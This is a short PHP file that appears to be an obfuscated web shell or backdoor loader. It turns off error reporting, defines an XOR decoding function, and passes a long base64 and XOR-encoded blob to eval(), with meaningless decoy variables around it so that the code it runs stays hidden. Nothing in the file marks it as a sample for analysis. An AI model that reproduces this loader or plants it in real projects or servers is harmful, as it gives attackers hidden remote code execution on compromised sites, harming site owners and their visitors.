<?php 
error_reporting(0);


$swnn="cspz";

$jzdv="pbihbkhkc";

function m($g, $l){ 



$t=""; for($i=0;$i<strlen($g);) for($p=0;$p<strlen($l);$p++, $i++) $t .= $g[$i] ^ $l[$p]; return $t; };$mtrihu="crlsyzhu";
$fyjzo="pcoe";







eval(m(base64_decode("\ _X AU[ZDJNIWM	I_y	^^hUgUXW@NO__OfXD#
HMIXW
_DC_^OXD)JE@I%XNIjI_WP~]GI
 ^GTEUQ~HZEH-CGBhIOSHOBMIWO@[YMMMJUWOXJCHFUpZMXxCGI=C
IHS5>j,+_0/Li}'vd}j?2)
~nKh D2j_Jex^98~7jymiXCzKFCY^I0	XXHKVCBX^>CX	Y OXEC?@fGOC Yd2 JgRQKD@IRw)EWUW
X#\M&BdCTEYISEESM^_I3GdFTBNSEAJT\@Y	M^IeBXR0XHOZ[\T]P

IeXd]H^_CT@EC
M^=X>TKIHHGTY^eBC<QTGNUHYE\M^_e&RZ@O_TQ_eBX;DZHZ[A[\M^_1&TBKGUTLB_T\M_IeBP8G^TT]CX_I?BXdR_@]\EW\M0BX^dTKLAFATOJ\9SGfG@_I#WYDqwSDX(C]PQMXODR)YJ5\Y_)DJ5]_D ^q_QQP?CI]W@HHF[2MXIS#GHX^\\T_I^\^TGMQ
X_T_S\T_I\@SX+ BG1@5^TBERTDYDP^^TKOWFTBKE]MXR6\Pw^^TBQ[^TZDKO\@QJSSG^TT)D5ZFTOYD Iq  \IMKM"^QT_YD^FTASEIA(GBZEKM4^FTA_^B_'TFHCOYIwRTDYP^^TNLWFTBJ]G^FJTA\]R^FTMSSG^TT_KA]qCSITDIPW_T_ZwD3!^EEMI]^IBZG^ATEEEL_['CYAIBwD^L]R^FTSSG^TJT_IJTA\SP^^TQ[^TZSII'^][HI_^IE]GwT.wDKI\@QTGP@]H^[]]S^][H_qw^RH^_^CTEYGQ^R[HJQqw^R_@]S\T_IO\@QS%\HSBMZEM ^5EEK_^IB]E^TBEEqUYBBIXsOIFg f C 	XVB@IyBP+MI&wD^@L]R[FTSSW
3yw[[D\^\ITE_-GEJT@O^\T]N}KEPF}S[TBMERZF][TKLHFIy([\\T_H^\^TGQX_T_TBKqFSHIBw[J A[I[T]]qH _^]I_OM
X%E}[[DZ^\^TGQ__HUQJYBXBNIX*GEgWXN\^I LfSCO XwTKL@HE\TBEq5
EEK_OD]%X^TNZD^CL]RQg
P@_\[DZ^\^TGQX_T_TSEUJ?BXYBYB\fw)E_IUY^BY@CNKXsOCG	ISMUIX)OCCGXHBI

 I 3OGECS  TST
X1OCCGI\KBIVB EFP _XsOC
I_\  \X\T\S _+CCEI	WC_ TZ 	X1CCQE EYVH]B_IXsCER[LXH FTAGHOYAIX/IJT@_SP^^THLWFICBq(^\KKIRB_^D+_IX% GIDXCAI/Q
X_T_TCKq5EEHI_D'T@GJYBXBN>gY!]OC_XJG7XFIXY^0QJOXQy 'Wy/U@_@I<QJ5/q ^BVdQ >P;CfGQJYO C Zc\B_Ew]BY_IT SFF]  ^ J_ ]KDW\cKjn<@S@:AYL7MZax]TWx GGX}:\{LX^^m X>WC@M T\ B]OCLX^CN?49[8b BF\WHmm"1 QCB_V_5II _IXKWOFZ.1Knj 2H I^I__	cIV
SU(P LIIWv,VKdcT S23] ^ C^ ]OH_\B^YxK IC8;EzQ MA_\HOA CK INEji XWC HC TX#B]EKLX^IV I WCSw TXQB])FI QAIjV_F^-Z}][2XKC R  QM\f,H IIHc_MUj'gLX^DM AWCxE TBB]H^LX^XJ MWCIB TX+B][ILX^AM & B_II XEXKC R/ QKIXV_	^I T\XK^qN$IYBXECBRQIY^B	W^Y^K;Q&	
mCY^I6HZW_XV^hROECB8 >EWB_K<Dh gA@w.^OC Yy[\M^_1&TJNSEAJT^_I?BXdRHGTAYM	Ie\1JUH\F\M^_e&RTLS]P
I'BXd[UGS^_T\M_IeBP8GH\Z^_"d^TML_YF^TMI'X=CSITMJ HFC\M^_e&RT]P
I'BXd[OGS
]BEJ^y0QIGI@ IT
wI
Y_L)QJwQ_DEJ_-GGQOMOD}GJwR
D+Jw		XIqHQ	!VTA
NO_@IXZEBHCwD^NRB)"^FTQ
X_TW^[GQ^EJTNHQ-GT_ MBDiAAIXw^J IZE^@KE
MP^^TMN_YDq]WJOXYh= fWXNJcZ	XB1VBOECB/T!FW;y@W@dH/,qIXY^X8TQBhg 9OM DC.AwTLQ[H@q^[NGQ^R[_^J ZG^CT]GQIRGOD^i@I#GOTJS1@ C^3@IAwPW_TDMSS$TD HCOX5^T]G]qwCSITMF^R_@^[GQ@L)QMBDC^iF BODCi	A5EN]OG'PYCHOYAIX/IJTMGL]RUQqw^J [E^TH]G^F]TSSPHqCi@IAZ 	X:AI QJYOXECPYOB_XW[HC0QN'#G^TMZD^RB_NPW_TS\TH(C@MQ TIHFYBOXCLcFSWO\KwAI_\HUTpTT S_XJLFY0 OWC-DE Ti	B]5\ZHE_]TW^Ze{7H8?B]CZLX^C`eY,H IB@C_;FIVBSUy$` H I^IA_ MIVMSUOI 		H ICGI_@&,#aYRGSHDA86yI ^IXKWCF<]y1 DWCVKy*n= R QNKEJ-Etj_\IVF[DJt!kxvu]TWC
 H[S1!GJY CB^W^IQ^XBN5NVB&XA@GXRSHZER
ZIQJCBXWITCD\^JE[DLZ[MI@MECBIIZHEXEBMODAIBXSO XMXY\CX^ME
CCG[^P
ZI	JENHEUNS\P\OEJPD_
Y_X@IEVISZ\^JE[DIA
MGICIL_
^MYACH_
Q
EZ\HR
ZJENJNFL@NP\\\JPHZ\DDO_U@ITJXC	EVQTIFJH@_^Z[TXI^XUVAM@@INM\^CEXUXCEBXX
]IMXDHT@I^IDG_MBU BPN\NJPHZNDD QA\HZJP
ZIJE\H_\MXUIJB A_ IU[ZIFHTPEBOIXY
MUBAEOE	PMHIBDCLXXCYHYDUMXEI_MRDUHYN\DD_R\_X
@QBXXIVJH@_^CQWPBJBKVMKK@MECBB_ZBCUANIV O_@ZI^BL^IXNXXI^	S\ X IS]JCY
EVJH@_^CID_X
[CMBO
NNYB_\^ A@ETMUV_@Y_S\OR
ZIDZJHEZFWZP\\\JPEPFEKW	MBV_XU@EW	C X_E	INL@JE[DIFICWQM ZE@ACN@KOCC^IHZI KMKIINCMX__OA_\MBMRAUHV\JHEZFWZPN_U	ICBFVILJH@_^CMIIDNIIMXCYPYXEJME_NBO ZIV_YN_ EB_@I	^N\_
_KK^IZNOHRUHEUHJ^AI_
INC^H^NLU][ FDIIJM	NHIVSIJEJ^Q\MZPFHJEEXU@IG_ B_EVT\^JE[DIFICWQAKMVEITYI^TCHDE@HZ
NBIH^ANa~sEBs_IXRZ@[sY^s\ UIE[|&JYB BNKIBIM 	~HC8 EB@ISSW~LNZ^I_N_X^RsDYJJI\X%^IMN	KEFG@B]	XY Vm4ohij=09%g"abc|"~'8y8-tu/LXYOI@@DA_X^@B\HTGS\GEU@BKXDSCz&dEJRJOCB*_XKI*@'\mHHm2KG&UKTYBXECBZ~M@e\2Hm(RK^IA\XKs=i~zi!wS+i!3|s4/0+q_

ZPXKs=i~zi!wS+i!3|s4/0+q_HO^_^ZHEGs&.&/i~-kic3(/.h*~q _J]CUA\Us)="9i<wdx'|+4s(5~{490<hs0c~qSQPI
Ns i&:i<!d!?$&ts0c~{m(<5+s(c~qZJK\M[[ZHV

R\/<i<zi~wTd 8|1"sj:9#8~h3hsjc(_-FPs6~")~5]i'=1+sm2h~qSQYOWJE\I\HR RGT]s3~zi~!_8;x>stsj<~#-~*?hs3$&^qME\ZEPKEwq _J]CUA\Us)="9i<wdx'|+/`'?bx*"$^q_

RPT0+~zi~(<8x>%o`<.:-se&qD_A]@B]L
HZQ4'<~z3~wd., 0o"eibx,e$KqGFQ4'<~z3~w?*&*~1mhh~Tq]ENEVP&i$zi~w]0$;|1o`ei=x+%|I'QU
IE UFsi!z1>wI2xx%47?so9bbio.1>(s'|qZRJFRs&.&/i~-dxx*'3)s-cbbi0x="k13|(BHGDJVAHN

[+?i<,i~.L<-x|)ojso56>*o:ebks:|S1RD*81+zi$wi(.5=s/hh~.]E^E\HO+*i~ i~w2,$?s-jsoc=b1/x'4ks<;S$QVI@_IZT\Ssi!z1>wI(ia:?1&mh2~qX
X^B\OLQd&&TQJBOXE/
T_X_TK~@^SP&ZOECBI >I^IC]YW&|ZXPOEIA\U\Hs=?~z09/^dx"|s~i<="*~Iq&TLNZUKTY)i~z?*+Hd:x|s~6j1>i<]qHKXIZd., 0~+ji~i!]W&NZUKTYQ&|ZXPOEIAXD1)i~#.&"d"x|s~?>5=i<qS^YWP~sVZ
YBs i&:i<!d!?$&~i0i~i~]%KeNQ&&~JNRJ ECsITE	G	IX~I@GSW&UKTYJYOXECX
X<IM@Y]LWNJURsi~,="4&xx|s&1>s/=ib!L)Ps?*&*~5dxx#s!?i<%mk0% ^qKKIXG&xx|s&1>s/=ib!L]BQV^IXYPKs=i~zi!wS$x:*sy&.&&mk3bxqAXeQd&JYBXBNIX1EB8MAISXeNDM	^ZDI)^I]Y0DMHI^ ]W&NZ ^BVDIMwLdC_XQqOfQdpJY CBVKIX| O@&TLNIX YA\XUR\/<i<zi~wTd 8|=]qUMRYs%i~zi(#W'x:|qSIQIJJRK)i~z?*+H+~zi~,|;>xI'HK@MVD ASX@WP~&&YBOXOKX~I]IdHI\PW|^H^_SMMRKTYJ^IMOPT0+~zi~SMLUHUT]ZMYIrPONJTD__XCPIUZ OQPSNdxx#sSEpUKTYVOBI&STLNZQ&UKTYVDIS_X^,^@IRKSU[ YH_X^,^@IR4SUV _
 @[I^ YXRGXY_pXPONII	wI^+IU&SQ~LNZ^IIMHIKeQd&JYBXBNMX0XM^DMU	GBBIH	 N^CJ_W&ZXPJFE_s^UF^BIVBIIONM^^M
PI@I\P~YVJC^IG IIH@JYI]YW&VZXPJF_X^\_\HD_XUYI^UVXT J_IXSIQ@_BTIX^BXTA_X\TBNE^T^Y^I_eNQ&STL^Y^K@_&Q&pOECBBH>IO!C^^X ^YOWdWHMNGWP~YVJC^R\ONHL_@ICP_W&ZXPONJC^SPSZUOYX^@IPTUFX THEEQaTYVZXPKHXMNPwJq+KPwq&ZXPONQ&ST&NZ ^BVHMXCz&dJYBOEOC'Y^IXVXTNW&SPMUCHhIOC( ^FX WG]W&NZ ^BVNM_ILL/
BCHIWHMGA&QaBOECB HCY^I\H_BZK\KsV_GX_sHOIF^_NaTYIXY^XOHIhIC	tGT]KM&Q&&XCBKX&	_B_CP^@_W&&ZXPOI_\NSKdZUQE_)OM@@
IOY^@,EXISaTYVPRY^@sBJ^@\P~YVsIXC\PDBZoy'';)xs%`sz?*9)u>ii~ SJ _S&UKTYVOY^'
X\XDXLo;(`c%?+*`)zi~e<!8 : H&TLNZU@sIXC\PTDBoy~?c$8s(5``:<86om"ecb ZIYT&NSTYs_	XROD 9-"#c>xs~i'y&"x<;b3.&U_&ZXPONOY^@,_CXYoy$`c|x%05.h+~ Z~LNZUK^@)_IXC
XKO oy!`;<x19cb;.7-xe;icyxVXA_U&STL^@*C\ODVX3:~"c|xs'e9)c;. D[]B&VZXTI\Y sIO]O|ZXPOIMHIILO@s BJOXYT&NSTYsOD&ZXPONEJSPII^.LX\)OCHI]%PNNS^YJ&VQZINW&&STLNZY+	M^IHZ_sY^@[@GA&UKTYV__@ZEPG^@s\^	H5]_OqV_I&STLNZ^TD1ixZVPKY@s\M_wI
MXL)B&&VZXPJFE__IP^%\MwYI^U]%YFJ^I]]TKIZQs\^_IH!_IUqy&TLNZUO]X2,$?_p^/B<_@UET]Y^s\M^	4C_X.ZL2pB6IOECBZ; _p^pB/^(UpUKTYR_COGZEP	_OGC\B\D	@JKS
_@L@XWHNY@+M	IH.L_XQq 	ONIL\Up&UKTYVEJ	NW&STLNZU+	YX_C\OI]yTLNZUKTY^VpXPONSTDITJR_COGSQzONSTLpUKTYVZXPKNNJKXDOGYKEI_&ZXPONSTLER^\KPI_^KeNSTLNZUQNV&
,G^NEW&NZUKTYVQ&ZXPONSl@	IQGM&ZXPO&SQ~LNZ^II_\pzeJBOXEBTII_;
XRY^@ Z\ ^A_&~LNZ^YQ&&ZXPOEE_sM MIR@sBEXSQP&dSTLU@sBEX^U&&STLNY^4XCXOTP,y<`c|x,' s8?~e32$<i~ZJM@	YT&NSTYs_	XROD 9-"#c>xs?s")~'<ud:8 U_&ZXPONOY^@,_CXYoy$`c|x%>?#`!{`co2x=#bBZNaTYVO
0_XC\X[ N9y~9$$-s~3xy~b.*1!(i~ BOfNZUKTY^s_IXGD o&~8#|:%di4/1+ F&ZXPONOY^s	X
XQUo#~`c|.'3 b ioxx:a1#y:VEBOsVZ@1_IXCX\HOVo 986|x)xeai5-$C_&STLNZO &_IC\X^C-y~`c#x+<c=. DBOsVZ@1_IXCX\HOVo 986|x)|cx<15#h= \^_GA&&UKTYV^I	PRY^@sTJDNaTYVIO^3KEB\YO&pXPONO^3O_I]O|&ZXPOJII!D&OCIq[EP]^^IY@_P~sVQI@	P&dSTL@s

IHV\M0Y@Y@]W&NZUKTY_@R\@1\M^_H/K_IAL)YVDXX
WFd&STLJCBV_X^I/C XITX,O	MwKTYVZXW_Sw~LNZUKTYVJs\IITQNM@XsVZXPONIJ%\I+MAZ_&STLNZ(aTYVqSCzeASTL_Y<_XV	ON__@I[KTZ\KZYY@s\MwIDC_XTqTLNXUETQ_@NLCONY^@,\_wq_&ZXPON^I_@ $CUCP
_@V_	J@ITTBJ^@*_IwDC	W2d&STLQs\^_IH!_  ^q&TLNZUKTYI_Y@0XNITBJ^@*_Iw\CW2dSTLQ_IaTYVZXPK^_Y@X;C@GQIZVP[]ITBVJ&UKTYVQ&&ZXPON_O	XNG_AsCOGI'EBXI@2C_GT]I^BC ^aK F T?x<?ma*(80ib"socb4=3; NOCBIUp&UKTYVEJ	IW&yTLNZUKTYJ\X_	I |< LNT &\M_IHw]DIqQ<8x>UE7%B_&ZXPON\_F^_C  TdC_X@XRONY^@,\_wqVp$MU&STLNZ_R_COG\O-CBXIXYUEOXECBU ][JC^@OC%^p&ZXPONSY	IXZoCXC@IBKDNL@	X^Q\^MA_SVR3^2ByTLNZUKTYJ\X_	I oB	OCBOKC_p^pB&
,G&STLNZUX_^_COCJ\M^M_TBL&^p7%B_&&ZXPONSLNJ&UKTYVZ@JIJ\H_GIB]YW&VZXPONSLNKI\]_CGIX ZI@]G&STLNZUKTYE^Z\
_WNOfNZUKTYVXKNN/^(GZ^UVTH&VZXPONQ&&STLNZUKTO@_I	I&&STLNZQaTY&&ZX
X^BIdpQ&OXCBHX+AME@:B3	X9XD6	XR\M^MTPKGUWyTLXYT	^IsAMXXM. IH)CYQY^HIOCXK\^MA_PISHVT^Y&ZXPOH
&STLN
^I4XOpTWRC
IOCH^YOCI\
BGI
]LSZX^ OsQ&|JYBO
IXIOiE3Bk#XD4M_INPTMMA&TLNIX Y\^KsAMGAl SNIXNsHIR\M^MQYOSX^Y&TLNZUMRsVZ
K1AMXOVCp@U U	
IBsHIOGM^MAZTQN^YP~&&YBOXOHXIOX6A@'kICP	M^AWpXPOIXY^I	%AMQ6 ^MSXIdZUKTY
P&ZXPO^IKsM DFXp[DVUM^MASXMR^YIyQ~fJOXYE_5CCGE=NIZ@MxC=IOHIHZzeNKX7Y U[Os&VEJZP_Xs4i 7	q\BT&VZXTIoCYB_QJ%ki!0VO+&ZXe&N_XCIWUZVXASB\BZWBOs&VEJZPQ_IX,o;#g'?w q_W&ZXPONEJSPI9CYTDCHEPYT&NSTII^]L8OMECBZ_^Ks=i~zi!wS<d>%i9-S$TKOXX^OJKIXoYEZUET[
XZ\@HMXI'C	B*OCPEIArPONQ&&Qy&PI
CBTDT&^	
_y^@NVNdpU'G M@EHe&JE_ I D1=ix.L q_


ZsHIOHD1=ix.L q_^E
MXIxGhCH]YW&|3 CEIiBN	J%ki!0SG+&&ZXPOC^AhXLN^^TQXZ\@HMXI'C	B*OCP&V
AN_Z1BOQF_BsIB
JJC^A7M GA&&UKTY^]YI_-SDC XTBJ
MX=EHXI&pXPOJ^I_\B	SZX^\
X^\sXMXIYI_X#CJI] y^ \
_G&yTLJ_C$IOF	0HOCHI[HC
C I_\CCJGIUZ~fNZEK\]F_BcNFBZM@HI:GIL	YVZM@I:CGIB7IH
SKP_CcNFI]QWIXM^KX GQUVIY)CsCJ'MNW&STLNODK
CB)IBOCXM1CsCCsNUpUK	s&VHEPYT&dQ&&\1MX
I^|&IA;^OGI^STNUp^TDKX~IM
	G&EILK~I=	mH^mjSCzeEE_ I D1=ix.Lq_W&ZXPOEHIIiE@<3X{XDo^G1kixwTEKqBZG]PAME@.
G^IH)CYQX^As==$4Hq_PIS&UKTYEJVHIX*AE@eB4I ;EnMBM)kixw]HqGIM xOGTDN_I%C
Is4i 7q\P~YVEJ
OiAMEe+IRs2. "EqZ\M@x^MGSZs2. "Eq&pXPOJ^I]Y_ <MA_UVT^^U&ZXPONETQN^IA-^MGI^ pXPON\SLPZEG~YV]
	NIfNZNaTYR^I]Y:^C@Z_^h\@CU1	T&NII|M

VY^@IIFIBOCI'YI BOHIsBOCHPII_;MAVXTI&STL_\?X^	
_|C_X[	]_X UI]YI	 ^A_y&TLNEI]BOs&Q|&YMZEPI~IM@M\EdpD)M^A^'3 c%eiw\V1QZs6$;2ei-D\'XJOL&HX#J	IXUVT]so9cgei!ZMqNs0c;'e+!HW6TCT&B J_IXNP3o!5ge00VqVs97?$e+wB.NLLA&)@MJC^AZEPKs-ccge6wV\L'UO+:cc=eiw	R2Ty_;UO+:cc=eiw	R2Qso<c?%i5X_YW6TCT&E
I;MWs7#c%3iwW[qIso57;&i5EY.NLLA&=^E I^Z\/,c!geiwQ[NqNE*(;6ge3w[HX%PUL&MyZ
X^^si(.5=wIdxx|,m7/i>.s`4%3,mk3q VJYON_YN_^\Hs=?~z09/^dx"|smo9= ;s"mbky2k1KqBJ \KNYM&IAON&WIE*M^:AIVArTY^UXEkUIVB&IMHI(XC^AN	X<]Y 1IMI^_S#R<IoD&MY<@JCV$VKIX~	
_dIMH^D5XIF7y|@MALqQOf&Q476cg?iwHX%PRN&TLNODKPXAFEX]P_=Y^0XIXXD_OE\XQ~LNZIOT[_^E\XDYIBX]OECKZY^ICMHSCL@_^E\XMOfNZH\P&&&JCDNsk6xT_N^BMTDR\M^MQP&dJTD^MKUDTW&ZXPONEJS	XXi
eB1IX{E3UX\^ N^GIB]YW&VZXPONIAELNIO*CYOIXGM^MAZ THGKTYVZXT
AE@|MM"MUOAIM&ZXPONOB B&UKTYVQI@		
IXIOiE3Bk#XD4M_INPTMMASW~LNZUKTYRIAMEXMON_I,HC
XQ\^MAVXTI&STLNZUKPAM@|M^>AM	dZUKTYVOCY&STLNI@HXIOX?@'BkIX[^U~YVZXPOAME@STH\MANaTYVZXPKIME@|^bIHKPMA&ZXPONCE IKTYVQ&ZXPON]IEB,KBMPAIS^UIR[&VQpre&J]YI^
 E kIKIY_Y_X^^	
^X^EK3	XBZ UFEP&|| ^\M^Af&AUJT	M^AMJOd&EJ[_*M^]YIME@GX^AD_<MA UO_D&M^MA!H-Fd&^IYX;@HKPC_	IhI\@U?	UUp&I_|M^MPR^^MUS~LNZELTDRE\ &ZXPOIJNTH^ &UKTYYZ\ dT@SLPZ@,M |]HSIM  dZUL^HHM?	JIX &STL ]KKPMAcJJ_\eN_TQN^_U;XJ^A &ZXPO\MPII^%JCA &ZXPH_S_; &UKTYEZ\	^AIyM_&TLN][HRKIGINh^&G&&II|M

VY^@IIFIBOCI'YI BOHIsBOCHPII_;MAVXTI&y[L~YI~s^_\f_#^N^IYX>_X]O]Y_Xy^TPK^]YI_|M	O_\<_CBcPR_CBsIHRHIC^OI^
\$_CB^XLU\P~sEJV^I	:C cNFNTNGZIT\P&|EJ^
\$_CBcFYRWLOX?C^ E_EX
RSO_ A"BGWBT&&VEXXK^_\f_B;FCDW [QKSXIF&&STLEZ__R^I_\0cFWQY V^E I@E^CNT
M	IU~VVZXD_^XPEBW@CMXECV
\MOIQTH^	\f6NF[WYR@\_ENaTYVIORAIXMSD \C]YI^^I^I_D]X BIBXTO^GUO_\<_CBc]QWLY^@ZNPX&UKTYVHEIRQKeNQ&yTLQE@VXQP&dSTLEROC  Qs1ixDX@F&STLNZJAIXMZ\CI]YESII_LTCBIBX]HK^W^\$	CB:	TWTY^@X^ML]IEB,TpXPONQ@	pUKTYVIORAIXMSD \C]YI^^I^I_D]X BIBXTO^GUO_\<_CBc]QWLY^@ZNPX&UKTYVQ&&ZXPOQ@_I&~LNZUKYI^U)B	kIXNTNGZW&UKTYVZOJDM_D#MAGZW&UKTYVZXPOODCQ	XZDXY]YZ^
_OCXXS] DV^I_
2 B!NF@LUO_D&M^MAZVRHL&STLNZU_IVW&ZXPONSTLICWWXMVDXX\WE^I^DIZOCXQY^ERAJ^I_\9_cI@XVPKIME@|^bI[II[RIAMEX^MP&STLNZUK	sVZ_W&&STLNZUKTJ^DM_(MW&STLNZUKTYVIODCZZLIMDX\Y	]ZR^IDO
B^QdZUKTYVZXPON^_&_cNFJY@Q&ZXPONSTLNZUEVFV]YI#^BKkIZL_D%
AXXCzONSTL@_KsVZXPONIDLRIXKX\[I]YEEWI^I_DTBBXHLDBY^&ZXPONSTLNZ[KPI_f_CB5BY^@QQ~LNZUKTYVZXPAQA@>^M%I&VZXPONSTL@X[KPAM@&ZXPONSTLNZWMVWYI^U)B	kIX]VKLA&UKTYVrzONSQ~fNZQa	s&E^ %_BcNF^NMEC-zEEXC^XPRN_DCd @LSWKTYIDCNY1HIOCI\H^	\f6NF[WDMQG&SIFS&a~J^^I_
2 B!NFXBj"_EC^QZEMOC_XhABLSWKTY^@xC(^OXSK|XCQXKIX>E bMAI[OfNZIYIXM]YEZN	J_DRKBXBXJC@S^8C<HETpXPO
EIH&	f&Q
\fCBcNUNOXECjz	EXVKBC>B
WyTLX\*
\C_IsOG^&STLHNa	s&E^ %_BcNF^NMEC-zEEXC^XPRNJE@]LWdpUKR^I_\0cFWQJ I AIWTDTHXFd&S@>MXKIYNMIs HDITAN_IC_+IOHIfCBcNJ@I1
 Q_&pXPOJCs	X1IZ\P&ZXPONsIBs INaTY&&ZXTUIoDMMI	UI^XI~M^EBK[OfNZ bYNI^_ZEPI I^MX~HXM&Z\Xm^^M
ILKI^+MBCAXG&&STH_ImKIYKII^MX*HAX^BDUpUKP@CbMAIZEPI I^MX~HXM&&ZXDDX@TBLF_O&YBOXO@_MI5@XTDGTVW&ZXRAJ_MZI2_'YInY|Q&&XCBSW~LNZ@IKVWUXIoOI^_]TQCN]LVWE@IhOL&STLNZ&UKTY@I^	I YANI_TBNGBT8^^UZ\XoDM^O 	^Z[KX&ZXP	C@ILNJKHYVNUX;^OXI^ ZNBKOYE]W&ZXPONSX4YA
TwEqGXRAJNUXI0DMI^KZ[OM^oC1&ST&NZ YVNUX9MN	[N/EBS5^M^	I YANI_TBGA&UKTsV@IXZZ^O@CNbALLZYn@NwTXTUIm^^UTB3VWQfCBcNJ@I!QVQSCzeNSZ;_[I\[RN@CN4
@ QTH^	\f6NF[WJMIQ]SEdZUa	PM&&	\&yTLQ
\fCBcNUNIHE^O -J^j[Q|ZXPOIDCOAMNXXFYE ^I
DIOCBIIJYI[R^I_\0cFWQ^EOX4 ^j@IQZVRHL&&STER~s|&"),"xpo,n,,,,s,tl,nz,,ukty,,v,,,,z"));





$wusx="dcf";
$zptb="pcmzdnlxx";

?>